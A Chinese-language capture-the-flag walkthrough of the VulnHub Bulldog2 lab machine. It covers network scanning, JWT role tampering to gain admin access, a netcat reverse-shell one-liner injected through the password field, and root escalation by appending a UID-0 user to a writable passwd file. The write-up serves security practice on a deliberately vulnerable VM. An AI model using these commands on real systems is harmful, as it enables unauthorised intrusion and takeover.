一、靶机下载
靶机下载地址:https://download.vulnhub.com/bulldog/Bulldog2.ova
二、bulldog2靶机搭建
将刚刚下载完成的bulldog2.ova导入到VM VirtualBox,并且修改靶机的网络,注意红框,下面能用到
修改完打开就是这样的
三、kali攻击机
打开vmware中的虚拟网络编辑器,将kali网络类型配置成桥接模式,桥接至(不要自动,找到靶机的页面名称)
四、攻击
1.在kali上查看ip
ifconfig
发现攻击机ip地址为192.168.56.102
2.扫描靶机ip
因靶机是自动获取IP,与kali在同一个网段,用netdiscover -i eth0 -r 192.168.56.0/24
扫描靶机的ip
netdiscover: -i 指定网卡 -r 指定网段
nmap扫描的话是可以扫描到本机ip的(nmap详细参数)
nmap -sn 192.168.56.0/24
3.扫描端口
根据上面主机发现得到的主机,然后依次对每个主机进行快速端口扫描,分析得到自己要攻击的目标主机
nmap -sS 192.168.56.101
或者
masscan --rate=10000 --ports 0-65535 192.168.56.101
masscan --rate=每秒多少个数据包 --ports 端口范围 IP地址/IP地址段
Masscan扫描速度快,快速发现开放的端口,为了防止漏扫,可以多扫描几次
将每个ip地址都扫描一下端口,可以确定靶机的ip地址:192.168.56.101
(虽然在靶机那里可以看到IP地址,但万一靶机在vmware中就看不到了)
可以看到80端口开着
4.扫描端口的详细信息
nmap -sV -T4 -O 192.168.56.101
5.目录扫描
尝试目录扫描,没发现有用信息
dirb http://192.168.56.101
6.访问80端口
浏览器访问http://192.168.10.155,发现发现登录界面
点击login
点击register,发现不支持注册,如果可以注册的话,我们就可以进行登录。
一般情况下,如果没有发现什么可利用的目录,就可以尝试查看js页面,一般会有突破口
7.查看前端页面的代码
发现在前端有四个js文件,我们ctrl进入
对每个js文件进行审查
尝试在美化后的js文件中使用Register关键字进行搜索
可以发现注册所需的信息为四条,name、email、username、password,我们可以根据这四条信息进行模拟注册
8.使用burp suit抓包并进行注册
用刚刚注册成功的账户进行登录
再另外创建一个用户(111),用于测试
9.尝试水平越权
只要知道用户名,就可以直接登录到对方账户;说明存在水平越权漏洞,但是这几个账户都没有什么可以利用的信息;
10.再次登录抓包
返回包 带有一个JWT开头的token字段;这个token传递了什么信息呢;
JWT(Json Web Token)的声明,一般用于身份提供者和服务提供者间,来传递被认证的用户身份信息,以便从资源服务器获取资源,也可以增加一些额外的其他业务逻辑所必须的声明信息,该token也可直接被用于认证或被加密;
11.JWT解密
https://jwt.io/
在payload中,我们看见详细的信息,其中有个没有见过的属性"auth_level": "standard_user"
,通过名字就应该知道是判断用户权限的,去js文件中查找一下
12.将响应里的standard_user
替换成master_admin_user
之后点击forward,会看到响应内容
将编码进行替换,standard_user也要替换成master_admin_user
再次点击forward,然后就会看到网页多了admin,说明存在垂直越权漏洞
点击admin,输入用户名密码,抓包,观察
密码错误,页面还是返回200
13.在修改密码处添加反弹shell
在攻击端开启监听,发送数据包,这时攻击端便获得目标的shell了
反弹shell:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 1234 >/tmp/f
IP地址是kali的
返回kali
成功获取到shell后,就需要进行提权操作;
14.提权
查看所有可写的文件
find / -writable -type f 2>/dev/null |grep -v "/proc/"
添加一个新的具有root权限的账户;
输入命令:perl -le ‘print crypt(“pass”, “aa”)’
其中,pass为加密的密码;aa表示使用的加密盐(可以有aa,sa,Fx等),如果不使用加密盐,那么输出的字符串将不是crypt加密格式,而是MD5加密格式的。所以,加密盐其实是必须的参数
char *crypt(const char *key, const char *salt);
key就是我们要传入的明文,salt是我们指定用来加密的密钥,返回值就是加密后的密文。perl 在linux中可以理解为增强版本的shell,是一种脚本语言,具有程序结构,很多内建功能,也方便调用其他程序
-a 自动分隔模式,用空格分隔$并保存在@F中,也就是@F=split //, $
-F 指定-a的分隔符
-l 对输入的内容进行自动chomp,对输出的内容自动加换行符
-n 相当于while(<>)
-e 执行命令,也就是脚本
-p 自动循环+输出,也就是while(<>){命令(脚本); print;}
将新用户写入passwd文件
echo 'ppp:aaW3cJZ7OSoQM:0:0:ppp:/root:/bin/bash' >> passwd
当前不是终端,无法切换账户,需要新打开一个终端,然后切换账户成功,获得管理员权限
python -c ‘import pty;pty.spawn("/bin/bash")’
五、总结
1.扫描ip,namp或者netdiscover
netdiscover -i eth0 -r 192.168.56.0/24
nmap -sn 192.168.56.0/242.扫描端口
masscan --rate=10000 --ports 0-65535 192.168.56.101
nmap -sS 192.168.56.1013.扫描目录dirb
dirb http://192.168.56.101
4.如果目录没有问题,查看js,审查js代码
5.注册页面关闭,看看登录页面,观察一下url地址
6.水平越权,垂直越权
7.反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 1234> /tmp/f
8.查看可写目录,密码加密 , 创建用户并提权
find / -writable -type f 2>/dev/null |grep -v “/proc/”
perl -le ‘print crypt(“pass”, “aa”)’
echo ‘ppp:aaW3cJZ7OSoQM:0:0:ppp:/root:/bin/bash’ >> passwd9.用命令打开终端切换用户
python -c ‘import pty;pty.spawn("/bin/bash")’ su